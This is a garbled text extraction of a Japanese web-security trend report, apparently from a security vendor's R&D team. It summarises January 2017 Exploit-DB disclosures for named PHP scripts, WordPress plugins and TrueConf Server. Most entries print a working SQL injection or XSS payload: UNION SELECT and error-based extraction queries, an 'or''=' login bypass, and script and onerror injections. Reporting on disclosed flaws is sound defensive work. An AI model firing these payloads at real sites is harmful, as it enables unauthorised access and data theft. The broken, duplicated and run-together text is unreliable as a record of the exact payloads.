My Private Tutor Website Builder Script - add_subcat.php SQL

Injection 脆弱性

/admin/add_subcat.php?id=1%20and%201=1-- _{Tutor Website}My Private Builder Script

My Private Tutor Website Builder Script - find_group_class.php SQL

Injection 脆弱性 #

/find_group_class.php?cat_id=1%20and%201=1-- _{Tutor Website}My Private Builder Script

Builder Script 2017-01-18 41101 SQL Injection 易高 Micro Blog Script - security.php_{SQL Injection 脆弱性} /backoffice/security.php?act=edit_cat&id=1%20and%201=1-- Micro Blog_Script Micro Blog_Script 2017-01-18 41101 SQL Injection 易高

Micro Blog Script -blog_category.php SQL Injection 脆

弱性

/backoffice/blog_category.php?act=edit_cat&blog_category_id

=1%20and%201=1-- Micro Blog_Script Micro Blog_Script

2017-01-18 41101 SQL Injection 易高 Micro Blog Script - photo.php SQL_{Injection 脆弱性}

/backoffice/photo.php?act=edit_cat&photo_id=1%20and%20

1=1-- Micro Blog_Script Micro Blog_Script

2017-01-18 41101 SQL Injection 易高 Micro Blog Script - video.php SQL_{Injection 脆弱性}

/backoffice/video.php?act=edit_cat&video_id=1%20and%201

=1-- Micro Blog_Script Micro Blog_Script

2017-01-18 41101 SQL Injection 易高 Micro Blog Script - banner_list.php_{SQL Injection 脆弱性}

/backoffice/banner_list.php?act=edit_cat&banner_id=1%20an

d%201=1-- Micro Blog_Script Micro Blog_Script

Manufacturer Website Design Script - add_gallery.php SQL

Injection 脆弱性

/admin/add_gallery.php?id=1%20and%201=1-- _{Website Design}Manufacturer Script

Manufacturer Website Design

Manufacturer Website Design Script - add_product.php SQL Injection 脆弱性 /admin/add_product.php?prod_id=1%20and%201=1-- Manufacturer Website Design Script Manufacturer Website Design Script

2017-01-18 41099 SQL Injection 易高 Dentist Website Script -/admin_giant/ SQL Injection 脆弱性

POST /admin/ HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Username='or''='&Password=anything Dentist Website Script Dentist Website Script 2017-01-18 41099 SQL Injection 易高

Dentist Website Script -add_gallery.php SQL Injection 脆弱性 /admin_giant/add_gallery.php?id=1%20and%201=1-- Dentist Website Script Dentist Website Script 2017-01-18 41097 SQL Injection 易高

Business Directory Script -edit_member.php SQL Injection 脆弱性 /admin/edit_member.php?status=Y&id=1%20and%201=1-- Business Directory Script Business Directory Script 2017-01-18 41097 SQL Injection 易高

Business Directory Script -edit_review.php SQL Injection 脆弱性 /admin/edit_review.php?id=1%20and%201=1-- Business Directory Script Business Directory Script 2017-01-18 41091 SQL Injection 易高

Medical Clinic Website Script -add_gallery.php SQL Injection 脆弱

性

/admin_giant/add_gallery.php?id=1%20and%201=1-- Medical Clinic Website Script

Medical Clinic Website Script 2017-01-18 41091 SQL Injection 易高

Medical Clinic Website Script -add_team_member.php SQL

Injection 脆弱性

/admin_giant/add_team_member.php?id=1%20and%201=1-- Medical Clinic Website Script

Medical Clinic Website Script

2017-01-18 41091 SQL Injection 易高 _{/admin_giant/ SQL Injection 脆弱性}Medical Clinic Website Script

-POST /admin_giant/ HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Username='or''='&Password=anything Medical Clinic Website Script Medical Clinic Website Script

2017-01-18 41093 SQL Injection 易高 _{news.dtl.php SQL Injection 脆弱性}Auction Website Script - /news.dtl.php?id=1%20and%201=1-- _{Website Script}Auction _{Website Script}Auction 2017-01-18 41095 SQL Injection 易高

Finance Website Script -user.profile.php SQL Injection 脆弱性 /user.profile.php?uid=1%20and%201=1-- Finance Website Script Finance Website Script 2017-01-18 41098 SQL Injection 易高

Buy and Sell Market Place Software - page_editor.php SQL

Injection 脆弱性

/admin_giant/page.editor.php?id=1%20and%201=1-- Buy and Sell Market Place Software

Buy and Sell Market Place Software 2017-01-19 41125 SQL Injection 易高

Home of Viral Images, Videos and Articles Script - search.php SQL

Injection 脆弱性

/search.php?term=1%20and%201=1-- Home of Viral Images

Home of Viral Images, Videos and Articles

Script 2017-01-19 41126 SQL Injection 易高 _{search.php SQL Injection 脆弱性}Video Site Creator Script - /search.php?term=1%20and%201=1-- _{Creator Script}Video Site _{Creator Script}Video Site 2017-01-19 41127 SQL Injection 易高 Classifieds Script - search.php SQL_{Injection 脆弱性} /search.php?term=1%20and%201=1-- Classifieds_Script Classifieds_Script 2017-01-19 41119 SQL Injection 易高

Viral Image & Video Sharing GagZone Script - search.php SQL

Injection 脆弱性

/search.php?term=1%20and%201=1-- _{Video Sharing}Viral Image & GagZone Script

Viral Image & Video Sharing GagZone Script 2017-01-19 41120 SQL Injection 易高 _{search.php SQL Injection 脆弱性}Image and Video Script - /search.php?term=1%20and%201=1-- _{Video Script}Image and _{Video Script}Image and

Social News and Bookmarking Script - search.php SQL Injection 脆

弱性 /search.php?term=1%20and%201=1--Social News and Bookmarking Script Social News and Bookmarking Script 2017-01-19 41122 SQL Injection 易高 _{search.php SQL Injection 脆弱性}Viral Image Sharing Script - /search.php?term=1%20and%201=1-- _{Sharing Script}Viral Image _{Sharing Script}Viral Image 2017-01-19 41123 SQL Injection 易高 _{search.php SQL Injection 脆弱性}Vine VideoSite Creator Script - /search.php?term=1%20and%201=1-- Vine VideoSite_{Creator Script} Vine VideoSite_{Creator Script} 2017-01-19 41124 SQL Injection 易高 Job Vacancy Script - search.php_{SQL Injection 脆弱性} /search.php?term=1%20and%201=1-- Job Vacancy_Script Job Vacancy_Script

(9)

2017-01-20 41131 SQL Injection 難早急対応要 Complain Management System -_{process.php SQL injection 脆弱性}

/process.php?action=deleteCust&cId=123 AND EXTRACTVALUE(8194,CONCAT(0x5c,0x7171706a71,(SELECT (ELT(8194=8194,1))),0x716a6b6271)) Complain Management System Complain Management System

2017-01-20 41140 SQL Injection 中高 B2B Alibaba Clone Script -category.php SQL Injection 脆弱性 /category.php?IndustryID=-1+union+select+1,2,group_concat(table_name)+from+informa tion_schema.tables+where+table_schema=database()--B2B Alibaba Clone Script B2B Alibaba Clone Script 2017-01-25 41155 SQL Injection 難早急対応要

Movie Portal Script 7.36 -show_news.php SQL Injection 脆弱性 /show_news.php?id=%20AND%20(SELECT%201222%20FRO M(SELECT%20COUNT(*),CONCAT(0x71786b7a71,(SELECT%2 0(ELT(1222=1222,1))),0x717a627871,FLOOR(RAND(0)*2))x% 20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20 GROUP%20BY%20x)a) Movie Portal Script Movie Portal Script 7.36

2017-01-25 41155 XSS 易高 Movie Portal Script 7.36 -movie.php XSS 脆弱性

POST /movie.php HTTP/1.1 Host:

Accept: */*

f=<img src=i onerror=prompt(1)>

Movie Portal Script

Movie Portal Script 7.36

2017-01-25 41155 SQL Injection 難早急対応要

Movie Portal Script 7.36 -show_misc_video.php SQL Injection 脆弱性 /show_misc_video.php?id=%20AND%20(SELECT%201222% 20FROM(SELECT%20COUNT(*),CONCAT(0x71786b7a71,(SEL ECT%20(ELT(1222=1222,1))),0x717a627871,FLOOR(RAND(0) *2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SE TS%20GROUP%20BY%20x)a) Movie Portal Script Movie Portal Script 7.36

2017-01-25 41155 SQL Injection 難早急対応要 Movie Portal Script 7.36 - artist-_{display.php SQL Injection 脆弱性} /artist-display.php?act=%20UNION%20ALL%20SELECT%20NULL,CO NCAT(0x71706a7871,0x6b704f42447249656672596d485173 6d486b45414a537141587865496446467163776664715455 53,0x717a6a7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NU LL# Movie Portal Script Movie Portal Script 7.36

2017-01-25 41155 SQL Injection 難早急対応要 Movie Portal Script 7.36 - film-rating.php SQL Injection 脆弱性 /film-rating.php?v=%20AND%20(SELECT%201222%20FROM(SELE CT%20COUNT(*),CONCAT(0x71786b7a71,(SELECT%20(ELT(1 222=1222,1))),0x717a627871,FLOOR(RAND(0)*2))x%20FRO M%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROU P%20BY%20x)a) Movie Portal Script Movie Portal Script 7.36

2017-01-26 41172 SQL Injection 中高 PHPBack < 1.3.1 - /home/search_{SQL Injection 脆弱性}

POST /home/search HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 query=')%0Aor%0Aextractvalue(6678,concat(0x7e,(select%0 Auser()),0x7e))--%0A%23 PHPBack PHPBack <_1.3.1 2017-01-26 41172 XSS 易高 PHPBack < 1.3.1 - /home/postidea_{XSS 脆弱性} POST /home/postidea HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 title="><script>alert(document.location);</script> PHPBack PHPBack <_1.3.1

2017-01-27 41177 SQL Injection 中高 My Photo Gallery 1.0 - image.php_{SQL Injection 脆弱性}

/image.php?imgid=1%20UNION%20ALL%20SELECT%20NUL L%2CNULL%2CNULL%2CNULL%2CCONCAT(0x7170767a71 %2C0x6652547066744842666d70594d52797173706a516f6 c496f4d4b6b646f774d624a614f52676e6372%2C0x716b766 b71)--%0A My Photo Gallery My Photo Gallery 1.0

2017-01-27 41178 SQL Injection 中高 Maian Weblog 4.0 - / SQL Injection_脆弱性

/blog/2%27%20AND%20(SELECT%202995%20FROM(SELEC T%20COUNT(*)%2CCONCAT(0x71717a6a71%2C(SELECT%2 0(ELT(2995%3D2995%2C1)))%2C0x717a787671%2CFLOOR (RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGI NS%20GROUP%20BY%20x)a)%20AND%20%27AUvx%27 %3D%27AUvx/second-blog.html

Maian Weblog Maian Weblog_4.0

2017-01-27 41180 SQL Injection 中高 _{Messages 1.0.1 - SQL Injection}WordPress Plugin WP Private

POST /wp-admin/admin-ajax.php HTTP/1.1 Host:

Accept: */*

action=weu_my_action&filetitle=0 UNION SELECT CONCAT(name,char(58),slug) FROM wp_terms WHERE term_id=1&temp_sel_key=select_temp Wordpress WordPress Plugin WP Private Messages 1.0.1

(10)

EDB-Report

Online Hotel Booking System Pro 1.2 - roomtype-details.php SQL

Injection 脆弱性

/roomtype-details.php?tid=1%20and%201=1-- Online Hotel_Booking System Pro

Online Hotel Booking System Pro 1.2 2017-01-27 41182 SQL Injection 易高

WordPress Plugin Online Hotel Booking System Pro 1.0 -roomtype-details.php SQL Injection 脆弱性 /front/roomtype-details.php?tid=1%20and%201=1-- _Wordpress WordPress Plugin Online Hotel Booking System Pro 1.0 2017-01-28 41209 SQL Injection 易高 _{Calendar 6.2.4 - / SQL Injection}Joomla! Component JTAG

/?option=com_jtagcalendar&format=raw&noframe=1&search= 1%20and%201=1--&searchOnly=1 Joomla Joomla! Component JTAG Calendar 6.2.4 2017-01-29 41184 XSS 易高 TrueConf Server 4.3.7 -/admin/conferences/applyCreate XSS 脆弱性 POST /admin/conferences/applyCreate HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 topic=<script>alert('XSS')</script> TrueConf Server TrueConf Server 4.3.7 2017-01-29 41184 XSS 易高 TrueConf Server 4.3.7 -/admin/conferences/get-all-status/ XSS 脆弱性 /admin/conferences/get-all-status/?keys[]=<img src=j

onerror=confirm(251) > TrueConf_Server _{Server 4.3.7}TrueConf

2017-01-29 41184 XSS 易高

TrueConf Server 4.3.7 -/admin/conferences/list/ XSS 脆弱

性

/admin/conferences/list/?sort=status%26'%22()%26%25<div

><ScRiPt%20>prompt(251)</ScRiPt> TrueConf_Server _{Server 4.3.7}TrueConf

2017-01-29 41184 XSS 易高 _{/admin/group/list/ XSS 脆弱性}TrueConf Server 4.3.7

-/admin/group/list/?checked_group_id=%27%20onmouseover

=confirm(251)%20? TrueConf_Server _{Server 4.3.7}TrueConf 2017-01-29 41184 XSS 易高 TrueConf Server 4.3.7 - /admin/_{XSS 脆弱性} /admin/group?%27\><script>confirm("XSS")</script> TrueConf_Server _{Server 4.3.7}TrueConf

2017-01-29 41184 XSS 易高

TrueConf Server 4.3.7 -/admin/conferences/list/ XSS 脆弱

性

/admin/conferences/list/?domxss=javascript:domxssExecutionSi

nk(1,"'\\"><script>alert("XSS")</script> TrueConf_Server _{Server 4.3.7}TrueConf

2017-01-30 41186 SQL Injection 易高 _{searchJob.php SQL Injection 脆弱性}Caregiver Script 2.57 - /searchJob.php?sitterService=1%20and%201=1-- Caregiver_Script Caregiver Script_2.57

Itech Auction Script 6.49 -mcategory.php SQL Injection 脆弱

性

/mcategory.php?mcid=-5980' UNION ALL SELECT

CONCAT(0x71706b7171,0x764646494f4c7178786f706c4b47 49517349686768525865666c6b6456434c766b73755a44657 777,0x7171706a71)-- XAee Itech Auction Script Itech Auction Script 6.49 2017-01-30 41188 SQL Injection 難高 Itech B2B Script 4.28 -catcompany.php SQL Injection 脆弱性

/catcompany.php?token=-4421' UNION ALL SELECT NULL,CONCAT(0x71627a7071,0x596a5174756f74736847615 667486444426f697a5549434943697a697064466865494a71 56794770,0x716b707a71),NULL,NULL,NULL,NULL-- JwUA

---Itech B2B ScriptItech B2B Script 4.28

2017-01-30 41189 SQL Injection 難高 _{subpage.php SQL Injection 脆弱性}Itech Classifieds Script 7.27

-/subpage.php?scat=51' UNION ALL SELECT

CONCAT(0x7162787871,0x6d4d4d63544378716c724674417 84342664b4a6f424d615951594f476c53465070635545505a 7558,0x716b767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- SKES Itech Classifieds Script Itech Classifieds Script 7.27 2017-01-30 41190 SQL Injection 難高

Itech Dating Script 3.26 -see_more_details.php SQL

Injection 脆弱性

/see_more_details.php?id=40 UNION ALL SELECT

NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,CONCAT(0x717a7a6a71,0x61777373447a7 141494372496e6c63596f6f62586e534e544b53656b707753 4e704e755266517347,0x716a626271),NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--Itech Dating Script Itech Dating Script 3.26

2017-01-30 41191 SQL Injection 難高 _{category.php SQL Injection 脆弱性}Itech Freelancer Script 5.13

-/category.php?sk=1') UNION ALL SELECT

NULL,NULL,NULL,NULL,CONCAT(0x7162787871,0x4c4d424a4 d6549554b5878684e494a4464767161454a6d757a47454c69 7a4e4470544c46426e4765,0x71716b7071),NULL,NULL,NULL, NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NU LL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N ULL--Itech Freelancer Script Itech Freelancer Script 5.13 2017-01-30 41193 SQL Injection 中高

Itech Multi Vendor Script 6.49 -product-list.php SQL Injection 脆弱

性

/product-list.php?pl=-3569' UNION ALL SELECT

CONCAT(0x716b6a7871,0x7573485a716b767347544870695 571415a465846434b5541777566416a6571656d6a5a6c6252 6f47,0x7170627171),NULL,NULL,NULL,NULL# Itech Multi Vendor Script Itech Multi Vendor Script 6.49 2017-01-30 41194 SQL Injection 中高

Itech News Portal Script 6.28 -information.php SQL Injection 脆弱性 /information.php?inf=-1695%20UNION%20ALL%20SELECT%20CONCAT(0x716a78 7171,0x7356527144546c6e6b47714b49415759595952764c 734a657165476f4d496e534e565668666f786f,0x717878767 1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N ULL,NULL,NULL--%20trhS Itech News Portal Script Itech News Portal Script 6.28

(11)

Itech Real Estate Script 3.12 -search_property.php SQL Injection 脆弱性 /search_property.php?property_for=1%20UNION%20ALL%20 SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT( 0x7176707a71,0x65546e587a4d65446c625876704b7a784d6 651575074684f516f43486d716f5844664870577a6d43,0x71 78626b71)--Itech Real Estate Script Itech Real Estate Script 3.12

2017-01-30 41204 SQL Injection 易高 _{channels.php SQL Injection 脆弱性}Video Sharing Script 4.94 - /channels.php?uid=1%20and%201=1-- Video Sharing_Script Video Sharing_{Script 4.94} 2017-01-30 41203 SQL Injection 易高

Itech Real Estate Script 3.12 -agent_search_property.php SQL

Injection 脆弱性

/agent_search_property.php?id=1%20and%201=1-- Itech Real Estate Script

Itech Real Estate Script

3.12 2017-01-30 41202 SQL Injection 易高 _{send_gift.php SQL Injection 脆弱性}Itech Dating Script 3.26 - /send_gift.php?id=1%20and%201=1-- Itech Dating_Script Itech Dating_{Script 3.26} 2017-01-30 41201 SQL Injection 易高 _{message.php SQL Injection 脆弱性}Itech Classifieds Script 7.27 -

/message.php?pid=1%20and%201=1--Itech Classifieds

Script

Itech Classifieds Script 7.27

2017-01-30 41200 SQL Injection 中高 HelpDeskZ < 1.0.2 - / SQL Injection_脆弱性

/?v=view_tickets&action=ticket&param[]="+ticket_id+"&param []=attachment&param[]=1&param[]=1 or 1=1 and ascii(substr((SeLeCt table_name from

information_schema.columns where table_name like '%staff' limit 0,1)

HelpDeskZ HelpDeskZ <_1.0.2

2017-01-30 41199 SQL Injection 難早急対応要 Video Sharing Script 4.94 - watch-_{video.php SQL Injection 脆弱性}

/watch-video.php?v=67d8ab' AND (SELECT 2680 FROM(SELECT COUNT(*),CONCAT(0x7176627171,(SELECT (ELT(2680=2680,1))),0x71786b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY

x)a)--Video Sharing Script

Video Sharing Script 4.94

最新 Web トレンドレポート (07.0) ~07.0. Exploit-DB( より公開されている内容に基づいたトレンド情報です サマリー ペンタセキュリティシステムズ株式会社 R&D センターデータセキュリティチーム 07 年 月に公開さ

EDB-Report

EDB-Report

EDB-Report

EDB-Report

EDB-Report

最新 Web トレンドレポート (07.0) ~07.0. Exploit-DB( より公開されている内容に基づいたトレンド情報ですサマリーペンタセキュリティシステムズ株式会社 R&D センターデータセキュリティチーム 07 年月に公開さ